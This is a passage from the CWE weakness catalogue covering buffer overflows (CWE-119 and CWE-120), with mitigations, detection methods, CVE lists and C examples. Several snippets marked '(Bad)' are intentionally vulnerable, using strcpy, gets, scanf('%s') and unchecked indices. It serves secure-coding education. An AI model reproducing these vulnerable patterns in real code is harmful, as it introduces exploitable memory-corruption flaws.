### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library

(SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

**Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

**Phase: Operation**

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation**

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

*Effectiveness = Moderate*

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

## Demonstrative Examples

### Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

### Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(Bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure

expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Example 3:

The following example asks a user for an offset into an array to select an item.

Example Language: C

(Bad)

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

### Example 4:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C

(Bad)

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C

(Good)

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
    ...
}
```

### Example 5:

Windows provides the `_mbs` family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: `_mbsinc`

\_mbsdec \_mbsncat \_mbsncpy \_mbsnextc \_mbsnset \_mbsrev \_mbsset \_mbsstr \_mbstok \_mbccpy  
\_mbslen

### Observed Examples

Reference	Description
<b>CVE-2021-22991</b>	Incorrect URI normalization in application traffic product leads to buffer overflow, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-22991">https://www.cve.org/CVERecord?id=CVE-2021-22991</a>
<b>CVE-2020-29557</b>	Buffer overflow in Wi-Fi router web interface, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-29557">https://www.cve.org/CVERecord?id=CVE-2020-29557</a>
<b>CVE-2009-2550</b>	Classic stack-based buffer overflow in media player using a long entry in a playlist <a href="https://www.cve.org/CVERecord?id=CVE-2009-2550">https://www.cve.org/CVERecord?id=CVE-2009-2550</a>
<b>CVE-2009-2403</b>	Heap-based buffer overflow in media player using a long entry in a playlist <a href="https://www.cve.org/CVERecord?id=CVE-2009-2403">https://www.cve.org/CVERecord?id=CVE-2009-2403</a>
<b>CVE-2009-0689</b>	large precision value in a format string triggers overflow <a href="https://www.cve.org/CVERecord?id=CVE-2009-0689">https://www.cve.org/CVERecord?id=CVE-2009-0689</a>
<b>CVE-2009-0690</b>	negative offset value leads to out-of-bounds read <a href="https://www.cve.org/CVERecord?id=CVE-2009-0690">https://www.cve.org/CVERecord?id=CVE-2009-0690</a>
<b>CVE-2009-1532</b>	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption <a href="https://www.cve.org/CVERecord?id=CVE-2009-1532">https://www.cve.org/CVERecord?id=CVE-2009-1532</a>
<b>CVE-2009-1528</b>	chain: lack of synchronization leads to memory corruption <a href="https://www.cve.org/CVERecord?id=CVE-2009-1528">https://www.cve.org/CVERecord?id=CVE-2009-1528</a>
<b>CVE-2021-29529</b>	Chain: machine-learning product can have a heap-based buffer overflow (CWE-122) when some integer-oriented bounds are calculated by using ceiling() and floor() on floating point values (CWE-1339) <a href="https://www.cve.org/CVERecord?id=CVE-2021-29529">https://www.cve.org/CVERecord?id=CVE-2021-29529</a>
<b>CVE-2009-0558</b>	attacker-controlled array index leads to code execution <a href="https://www.cve.org/CVERecord?id=CVE-2009-0558">https://www.cve.org/CVERecord?id=CVE-2009-0558</a>
<b>CVE-2009-0269</b>	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0269">https://www.cve.org/CVERecord?id=CVE-2009-0269</a>
<b>CVE-2009-0566</b>	chain: incorrect calculations lead to incorrect pointer dereference and memory corruption <a href="https://www.cve.org/CVERecord?id=CVE-2009-0566">https://www.cve.org/CVERecord?id=CVE-2009-0566</a>
<b>CVE-2009-1350</b>	product accepts crafted messages that lead to a dereference of an arbitrary pointer <a href="https://www.cve.org/CVERecord?id=CVE-2009-1350">https://www.cve.org/CVERecord?id=CVE-2009-1350</a>
<b>CVE-2009-0191</b>	chain: malformed input causes dereference of uninitialized memory <a href="https://www.cve.org/CVERecord?id=CVE-2009-0191">https://www.cve.org/CVERecord?id=CVE-2009-0191</a>
<b>CVE-2008-4113</b>	OS kernel trusts userland-supplied length value, allowing reading of sensitive information <a href="https://www.cve.org/CVERecord?id=CVE-2008-4113">https://www.cve.org/CVERecord?id=CVE-2008-4113</a>
<b>CVE-2005-1513</b>	Chain: integer overflow in securely-coded mail program leads to buffer overflow. In 2005, this was regarded as unrealistic to exploit, but in 2020, it was rediscovered to be easier to exploit due to evolutions of the technology. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1513">https://www.cve.org/CVERecord?id=CVE-2005-1513</a>
<b>CVE-2003-0542</b>	buffer overflow involving a regular expression with a large number of captures <a href="https://www.cve.org/CVERecord?id=CVE-2003-0542">https://www.cve.org/CVERecord?id=CVE-2003-0542</a>
<b>CVE-2017-1000121</b>	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119). <a href="https://www.cve.org/CVERecord?id=CVE-2017-1000121">https://www.cve.org/CVERecord?id=CVE-2017-1000121</a>



## Affected Resources

- Memory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	711	2130
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2137
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2138
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2142
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	2146
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	2169
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2169
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2172
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	2198
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2250
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2251
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Applicable Platform

It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A5	Exact	Buffer Overflows
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR30-C	CWE More Abstract	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	CWE More Abstract	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	ENV01-C		Do not make assumptions about the size of an environment variable
CERT C Secure Coding	EXP39-C	Imprecise	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	FIO37-C		Do not assume character data has been read
CERT C Secure Coding	STR31-C	CWE More Abstract	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	CWE More Abstract	Do not pass a non-null-terminated character sequence to a library function that expects a string
WASC	7		Buffer Overflow
Software Fault Patterns	SFP8		Faulty Buffer Access

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
42	MIME Conversion
44	Overflow Binary Resource File
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
100	Overflow Buffers
123	Buffer Manipulation

### References

[REF-1029]Aleph One. "Smashing The Stack For Fun And Profit". 1996 November 8. < <http://phrack.org/issues/49/14.html> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-56]Microsoft. "Using the Strsafe.h Functions". < <http://msdn.microsoft.com/en-us/library/ms647466.aspx> >.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.zork.org/safestr/> >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

[REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <http://www.redhat.com/magazine/009jul05/features/execshield/> >.

[REF-60]"PaX". < <http://en.wikipedia.org/wiki/PaX> >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

**Weakness ID** : 120

**Structure** : Simple

**Abstraction** : Base

### Description

The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.







### Extended Description

A buffer overflow condition exists when a product attempts to put more data in a buffer than it can hold, or when it attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the product copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
ParentOf		785	Use of Path Manipulation Function without Maximum-sized Buffer	1542
CanFollow		170	Improper Null Termination	411
CanFollow		231	Improper Handling of Extra Values	544
CanFollow		416	Use After Free	958
CanFollow		456	Missing Initialization of a Variable	1029

Nature	Type	ID	Name	Page
CanPrecede	B	123	Write-what-where Condition	310

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2272

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf	G	20	Improper Input Validation	19

### Weakness Ordinalities

**Resultant :**

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Language :** Assembly (Prevalence = Undetermined)

### Alternate Terms

**Classic Buffer Overflow :** This term was frequently used by vulnerability researchers during approximately 1995 to 2005 to differentiate buffer copies without length checks (which had been known about for decades) from other emerging weaknesses that still involved invalid accesses of buffers, as vulnerability researchers began to develop advanced exploitation techniques.

**Unbounded Transfer :**

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of the product's implicit security policy. This can often be used to subvert any other security service.</i>	

Scope	Impact	Likelihood
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU)  <i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the product into an infinite loop.</i>	

## Detection Methods

### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*Detection techniques for buffer-related errors are more mature than for most other weakness types.*

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

**Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

**Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

**Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

**Potential Mitigations****Phase: Requirements**

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

**Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated



space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Operation**

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation**

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Build and Compilation****Phase: Operation**

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

**Phase: Implementation**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

*Effectiveness = Moderate*

*This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).*

**Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Demonstrative Examples****Example 1:**

The following code asks the user to enter their last name and then attempts to store the value entered in the last\_name array.

*Example Language: C*

*(Bad)*

```
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);
```

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very\_very\_long\_last\_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

### Example 2:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

Example Language: C

(Bad)

```
void manipulate_string(char * string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

### Example 3:

The code below calls the gets() function to read in data from the command line.

Example Language: C

(Bad)

```
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}
```

However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

### Example 4:

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

Example Language: C

(Bad)

```
...
struct hostent *clienthp;
char hostname[MAX_LEN];
// create server socket, bind to server address and listen on socket
...
// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {
    int clientlen = sizeof(struct sockaddr_in);
    int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);
    if (clientsocket >= 0) {
        clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
        strcpy(hostname, clienthp->h_name);
        logOutput("Accepted client connection from host ", hostname);
        // process client request
        ...
        close(clientsocket);
    }
}
close(serversocket);
```

...

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

### Observed Examples

Reference	Description
<b>CVE-2000-1094</b>	buffer overflow using command with long argument <a href="https://www.cve.org/CVERecord?id=CVE-2000-1094">https://www.cve.org/CVERecord?id=CVE-2000-1094</a>
<b>CVE-1999-0046</b>	buffer overflow in local program using long environment variable <a href="https://www.cve.org/CVERecord?id=CVE-1999-0046">https://www.cve.org/CVERecord?id=CVE-1999-0046</a>
<b>CVE-2002-1337</b>	buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<" <a href="https://www.cve.org/CVERecord?id=CVE-2002-1337">https://www.cve.org/CVERecord?id=CVE-2002-1337</a>
<b>CVE-2003-0595</b>	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0595">https://www.cve.org/CVERecord?id=CVE-2003-0595</a>
<b>CVE-2001-0191</b>	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0191">https://www.cve.org/CVERecord?id=CVE-2001-0191</a>

### Functional Areas

- Memory Management

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<input type="checkbox"/>	2127
MemberOf	<input checked="" type="checkbox"/>	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	<input type="checkbox"/>	2130
MemberOf	<input checked="" type="checkbox"/>	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	<input type="checkbox"/>	2138
MemberOf	<input checked="" type="checkbox"/>	802	2010 Top 25 - Risky Resource Management	<input type="checkbox"/>	2148
MemberOf	<input checked="" type="checkbox"/>	865	2011 Top 25 - Risky Resource Management	<input type="checkbox"/>	2165
